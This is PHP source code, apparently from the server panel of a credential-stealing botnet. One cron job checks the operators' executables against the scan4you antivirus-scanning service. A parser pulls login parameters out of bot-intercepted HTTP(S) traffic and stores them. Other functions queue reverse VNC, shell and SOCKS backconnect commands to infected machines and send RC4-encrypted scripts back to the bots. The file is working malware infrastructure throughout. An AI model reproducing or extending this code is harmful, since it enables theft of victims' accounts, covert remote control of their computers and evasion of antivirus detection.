/** Scan exe files under files/ using scan4you
* @param int|null $id
* File id for force scan
* @param bool $html
* Return HTML along with raw data
* @cron if: return !empty($GLOBALS['config']['scan4you_id']) && !empty($GLOBALS['config']['scan4you_token']);
* @cron period: 1d
* @cron weight: 10
*/
function cronjob_avirscan_files($id = null)
{
$jabber_notify = array();
$scan4you = new Scan4you($GLOBALS['config']['scan4you_id'], $GLOBALS['config']['scan4you_token']);
if (!is_null($id)) {
mysql_q(mkquery('UPDATE `exe_updates` SET `scan_date`=0 WHERE `id`={i:id};', array('id' => $id)));
}
$job_result = array();
$res = mysql_q(mkquery('SELECT `id`, `file`, `mtime` FROM `exe_updates` WHERE `scan_date` < {i:date};', array('date' => time() - 60 * 60 * 20)));
while ($res && !is_bool($exe = mysql_fetch_assoc($res))) {
$exe_path = 'files/' . $exe['file'];
# scan
$results = $scan4you->scan($exe_path);
$job_result[$exe['file']] = array('threat' => count($results->scan_threat), 'okay' => count($results->scan_okay));
if (!is_null($results->error)) {
$job_result[$exe['file']]['error'] = $results->error;
}
# store
mysql_q(mkquery("UPDATE `exe_updates` SET `scan_date`=UNIX_TIMESTAMP(), `scan_threat` = {i:threat}, `scan_count`={i:count}, `scan_details`={s:details} WHERE `id`={i:id}", array('threat' => count($results->scan_threat), 'count' => count($results->scan_threat) + count($results->scan_okay), 'details' => $results->render_html('class="avirscan-results-map"'), 'id' => $exe['id'])));
# notify
if (count($results->scan_threat) >= 6) {
$jabber_notify[] = sprintf("%s: %d Antiviruses detect it!\n\n%s\n", $exe['file'], count($results->scan_threat), $results->render_text());
}
}
# Jabber notify
jabber_notify($GLOBALS['config']['scan4you_jid'], $jabber_notify);
# Results
return $job_result;
}
/** jabber_notify_now(), if failed - jabber_notify()
* @param $jids
* @param $messages
* @return bool True when sent immediately, False when delayed to cron
*/
function jabber_notify_somehow($jids, $messages)
{
if (true === jabber_notify_now($jids, $messages)) {
return true;
}
jabber_notify($jids, $messages);
return false;
}
/** Parse accounts
* 0. Only BLT_HTTP_REQUEST & BLT_HTTPS_REQUEST against $list[SBCID_BOTLOG_TYPE]
* 1. If Match URL masks against $list[SBCID_PATH_SOURCE]
* 2. If Match params mask against $list[SBCID_BOTLOG]
* 3. Store into the DB (no dups)
* 4. Autoconnect VNC|SOCKS when set
* 5. Jabber-notify if configured
*/
function accparseplugin_parselog($list, $botId)
{
/* Only for HTTP[S] */
$type = toInt($list[SBCID_BOTLOG_TYPE]);
if ($type != BLT_HTTP_REQUEST && $type != BLT_HTTPS_REQUEST) {
return;
}
/* Match the URL */
$matched_rule = null;
$R = mysql_query('SELECT * FROM `accparse_rules` WHERE `enabled`=1 ORDER BY NULL;');
while ($R && !is_bool($r = mysql_fetch_assoc($R))) {
$wildcart = '~^' . str_replace('\\*', '.*', preg_quote(trim($r['url']), '~')) . '$~i';
if (preg_match($wildcart, $list[SBCID_PATH_SOURCE])) {
$matched_rule = $r;
mysql_free_result($R);
break;
}
}
if (is_null($matched_rule)) {
return;
}
GateLog::get()->log(GateLog::L_TRACE, 'plugin.accparse', 'Rule matched: ' . $matched_rule['alias']);
/* Match the params */
$matched_params = array();
foreach (explode("\n", $matched_rule['params']) as $param) {
$param = rtrim(trim($param), '=');
$wildcart = '~^(' . str_replace('\\*', '.*', preg_quote($param, '~')) . ')=(.+)$~ium';
if (preg_match_all($wildcart, $list[SBCID_BOTLOG], $matches, PREG_SET_ORDER)) {
foreach ($matches as $m) {
$matched_params[urldecode($m[1])] = urldecode($m[2]);
}
}
}
if (count($matched_params) == 0) {
return;
}
GateLog::get()->log(GateLog::L_TRACE, 'plugin.accparse', 'Rule params also matched: ' . count($matched_params));
/* String-format */
$matched_account = '';
asort($matched_params);
foreach ($matched_params as $k => $v) {
$matched_account .= "{$k}={$v}\n";
}
/* Store */
$q_botId = mysql_real_escape_string($botId);
$q_bot_info = mysql_real_escape_string(implode("\n", array(basename($list[SBCID_PROCESS_NAME]))));
$q_ruleid = $matched_rule['id'];
$q_account = mysql_real_escape_string($matched_account);
$q_acc_hash = md5(implode($matched_params));
$q_mtime = time();
mysql_query("INSERT INTO `accparse_accounts` VALUES(NULL, '{$q_botId}', '{$q_bot_info}', {$q_ruleid}, '{$q_account}', '{$q_acc_hash}', {$q_mtime}, 0, '') ON DUPLICATE KEY UPDATE `mtime`={$q_mtime};");
/* Dupecheck */
$affected = mysql_affected_rows();
$duplicate_account = $affected == 2;
# INSERT gives 1, UPDATE gives 2. This magic should work :)
GateLog::get()->log(GateLog::L_TRACE, 'plugin.accparse', 'Account ' . ($duplicate_account ? 'updated' : 'added'));
/* Autoconnect option */
if ($matched_rule['autoconnect']) {
if (function_exists('vncplugin_autoconnect')) {
$q_protocol = $matched_rule['autoconnect'];
GateLog::get()->log(GateLog::L_TRACE, 'plugin.accparse', 'Account backconnect: protocol=' . $q_protocol);
mysql_query("INSERT INTO `vnc_bot_connections` VALUES('{$q_botId}', {$q_protocol}, 1, 0, 0, 0) ON DUPLICATE KEY UPDATE `protocol`={$q_protocol}, `ctime`=0, `do_connect`=IF(`do_connect`=0,1,`do_connect`);");
vncplugin_autoconnect($botId);
}
}
/* Notify */
if ($duplicate_account) {
return;
}
# do nothing else
if ($matched_rule['notify'] && !empty($GLOBALS['config']['accparse_jid'])) {
$message = sprintf("Account-Parser match: %s (URL: %s)\n", $matched_rule['alias'], $matched_rule['url']);
$message .= sprintf("BotID: %s\n", $botId);
$message .= sprintf("Browser: %s\n", $list[SBCID_PROCESS_NAME]);
$message .= sprintf("URL: %s\n", $list[SBCID_PATH_SOURCE]);
$message .= "\n";
$message .= strlen($matched_account) > 100 ? substr($matched_account, 0, 100) . "\n...(see in the admin)" : $matched_account;
GateLog::get()->log(GateLog::L_TRACE, 'plugin.accparse', 'Jabber notify: ' . $GLOBALS['config']['accparse_jid']);
jabber_notify($GLOBALS['config']['accparse_jid'], $message);
}
}
function imNotify(&$type, &$list, &$botId, $defloration = false, $wentOnline = false)
{
if (empty($GLOBALS['config']['reports_jn_to'])) {
return;
}
$messages = array();
# Notify of new matching BotIDs
if ($defloration) {
$ml = explode("", $GLOBALS['config']['reports_jn_botmasks']);
foreach ($ml as $mask) {
if (@preg_match('#^' . str_replace('\\*', '.*', preg_quote($mask, '#')) . '$#i', $botId) > 0) {
$messages[] = "Reason: botId matched\nBot ID: {$botId}\n";
break;
}
}
}
# Notify of matching BotIDs went online
if ($wentOnline) {
$ml = explode("", $GLOBALS['config']['reports_jn_masks']['wentOnline']);
foreach ($ml as $mask) {
if (@preg_match('#^' . str_replace('\\*', '.*', preg_quote($mask, '#')) . '$#i', $botId) > 0) {
$messages[] = "Reason: botId is online\nBot ID: {$botId}\n";
break;
}
}
}
# Notify of matching report URLs
if (($type == BLT_HTTP_REQUEST || $type == BLT_HTTPS_REQUEST) && !empty($list[SBCID_PATH_SOURCE])) {
$ml = explode("", $GLOBALS['config']['reports_jn_list']);
foreach ($ml as $mask) {
if (@preg_match('#^' . str_replace('\\*', '.*', preg_quote($mask, '#')) . '$#i', $list[SBCID_PATH_SOURCE]) > 0) {
$messages[] = "Reason: URL matched\nBot ID: {$botId}\nURL: " . $list[SBCID_PATH_SOURCE] . "\n\n" . substr($list[SBCID_BOTLOG], 0, 1024);
break;
}
}
}
# Notify of matching report contexts by type
# NOTE: these reports are not presented in full! Only some lines around the keyword
if (!empty($list[SBCID_BOTLOG])) {
$report_match = array(BLT_ANALYTICS_SOFTWARE => array('software', 'Software matched'), BLT_COMMANDLINE_RESULT => array('cmd', 'Command line result matched'));
foreach ($report_match as $rm_type => $rm) {
if ($type == $rm_type) {
$ml = explode("", $GLOBALS['config']['reports_jn_masks'][$rm[0]]);
$reason = $rm[1];
foreach (array_filter(array_map('trim', $ml), 'strlen') as $mask) {
if (@preg_match('#' . str_replace('\\*', '.*', preg_quote($mask, '#')) . '#i', $list[SBCID_BOTLOG], $m, PREG_OFFSET_CAPTURE) > 0) {
# Extract a few lines around the match
$surrounding_lines = 2;
$match_pos = $m[0][1];
# offset of the match
$n_pos = array(0);
# array of \n offsets
$p = 0;
# current offset
$p_past_npos = false;
# are we past the match?
while (FALSE !== ($p = strpos($list[SBCID_BOTLOG], "\n", $p))) {
# all \n-s
$n_pos[] = $p;
# add it
if ($p > $match_pos) {
$p_past_npos = true;
}
if (!$p_past_npos && count($n_pos) > $surrounding_lines + 1) {
# don't keep more than N \n-s
array_shift($n_pos);
}
if ($p_past_npos && count($n_pos) >= ($surrounding_lines + 1) * 2) {
# stop a few lines past the match
break;
}
$p++;
}
$p_from = array_shift($n_pos);
$p_till = array_pop($n_pos);
$message_part = trim(substr($list[SBCID_BOTLOG], $p_from, $p_till - $p_from));
$messages[] = "Reason: {$reason}\nBot ID: {$botId}\n\n" . $message_part;
break;
}
}
}
}
}
# Notify
if (empty($messages)) {
return;
}
foreach ($messages as $message) {
GateLog::get()->log(GateLog::L_TRACE, 'Jabber', sprintf("Notify %s : %s", $GLOBALS['config']['reports_jn_to'], $message));
}
jabber_notify($GLOBALS['config']['reports_jn_to'], $messages);
# Execute scripts, if set
global $country_allowed;
if ($country_allowed && strlen($GLOBALS['config']['reports_jn_script']) > 0) {
$eid = md5(microtime(), true);
$script = 'user_execute "' . trim($GLOBALS['config']['reports_jn_script']) . '" -f';
$size = strlen($eid) + strlen($script);
$replyData = pack('LLLL', 1, 0, $size, $size) . $eid . $script;
$replyData = pack('LLLLLLLL', mt_rand(), mt_rand(), mt_rand(), mt_rand(), mt_rand(), HEADER_SIZE + strlen($replyData), 0, 1) . md5($replyData, true) . $replyData;
visualEncrypt($replyData);
rc4($replyData, $GLOBALS['globalKey']);
echo $replyData;
die;
}
}
/** Bot backconnect.
* @param string $botid The bot ID to backconnect to (when have such a task)
*/
function vncplugin_autoconnect($botid)
{
if (empty($GLOBALS['config']['vnc_server'])) {
return;
}
# Check whether we have some connection tasks
$q_time_threshold = time() - VNC_RECONNECT_THRESHOLD;
# don't reconnect too fast
$q_botId = mysql_real_escape_string($botid);
$R = mysql_query("SELECT * FROM `vnc_bot_connections` WHERE `bot_id`='{$q_botId}' AND `do_connect`<>0 AND (`ctime`<={$q_time_threshold} OR `do_connect` IN (-2,2) );");
if (!$R || mysql_num_rows($R) == 0) {
return;
}
$connect = mysql_fetch_assoc($R);
GateLog::get()->log(GateLog::L_TRACE, 'plugin.vnc', "Connecting to the bot. Protocol={$connect['protocol']}, do={$connect['do_connect']}");
# Generate the IP:PORT pairs
if (empty($connect['my_port'])) {
$connect['my_port'] = rand(10000, 20000 - 1);
}
if (empty($connect['bot_ipport'])) {
$connect['bot_port'] = rand(20000, 40000);
}
# Connect data
$c_vnc_server = $GLOBALS['config']['vnc_server'];
$c_botid = urlencode($botid);
$c_my_port = $connect['my_port'];
$c_bot_port = $connect['bot_port'];
# Reserve the port pair
$context = stream_context_create(array('http' => array('header' => 'Connection: close', 'timeout' => 10)));
$vnc_url = "http://{$c_vnc_server}/test.php?p1={$c_my_port}&p2={$c_bot_port}&b={$c_botid}";
if (FALSE === file_get_contents($vnc_url, 0, $context)) {
return trigger_error("VNC-server connection failed: {$vnc_url}");
}
# Add a script
require_once 'system/lib/shortcuts.php';
$q_script_name = '?';
$q_script = "???";
$q_connection_name = '?';
switch ($connect['protocol']) {
case 1:
$q_connection_name = 'VNC';
$q_script = "bot_bc_add vnc {$c_vnc_server} {$c_bot_port}";
$q_script_name = 'backconnect:VNC:';
break;
case 2:
$q_connection_name = 'CMD';
$q_script = "bot_bc_add shell {$c_vnc_server} {$c_bot_port}";
$q_script_name = 'backconnect:CMD:';
break;
case 5:
$q_connection_name = 'SOCKS5';
$q_script = "bot_bc_add socks {$c_vnc_server} {$c_bot_port}";
$q_script_name = 'backconnect:SOCKS:';
break;
}
$q_script_name .= round(microtime(true) * 100);
if (!add_simple_script($botid, $q_script_name, $q_script)) {
return trigger_error("Error inserting {$q_connection_name} script: " . mysql_error(), E_USER_WARNING);
}
# Update connection info
GateLog::get()->log(GateLog::L_DEBUG, 'plugin.vnc', "Backconnect script '{$q_script_name}' added: my={$c_vnc_server}:{$c_my_port}, bot={$c_vnc_server}:{$c_bot_port}, script={$q_script}");
if ($connect['do_connect'] >= 1) {
$connect['do_connect'] = 0;
}
# one shot
if ($connect['do_connect'] == -2) {
$connect['do_connect'] = -1;
}
# restore 'autoconnect' state
$q_ctime = time();
if (!mysql_query("UPDATE `vnc_bot_connections` SET `ctime`={$q_ctime}, `my_port`={$c_my_port}, `bot_port` = {$c_bot_port}, `do_connect`={$connect['do_connect']} WHERE `bot_id`='{$q_botId}';")) {
return trigger_error('Error updating VNC connections: ' . mysql_error(), E_USER_WARNING);
}
# Notify
if (!empty($GLOBALS['config']['vnc_notify_jid'])) {
$R = mysql_query('SELECT `comment` FROM `botnet_list` WHERE `bot_id`="' . mysql_real_escape_string($botid) . '" AND `comment`<>"";');
if (mysql_num_rows($R)) {
$row = mysql_fetch_row($R);
$comment = array_shift($row);
}
GateLog::get()->log(GateLog::L_TRACE, 'plugin.vnc', "Jabber notify: " . $GLOBALS['config']['vnc_notify_jid']);
$message = sprintf("New %s connection established\nBotID: %s %s\n\nConnect to: %s:%s\n", $q_connection_name, $botid, $comment ? "({$comment})" : '', $c_vnc_server, $c_my_port);
jabber_notify($GLOBALS['config']['vnc_notify_jid'], $message);
}
}
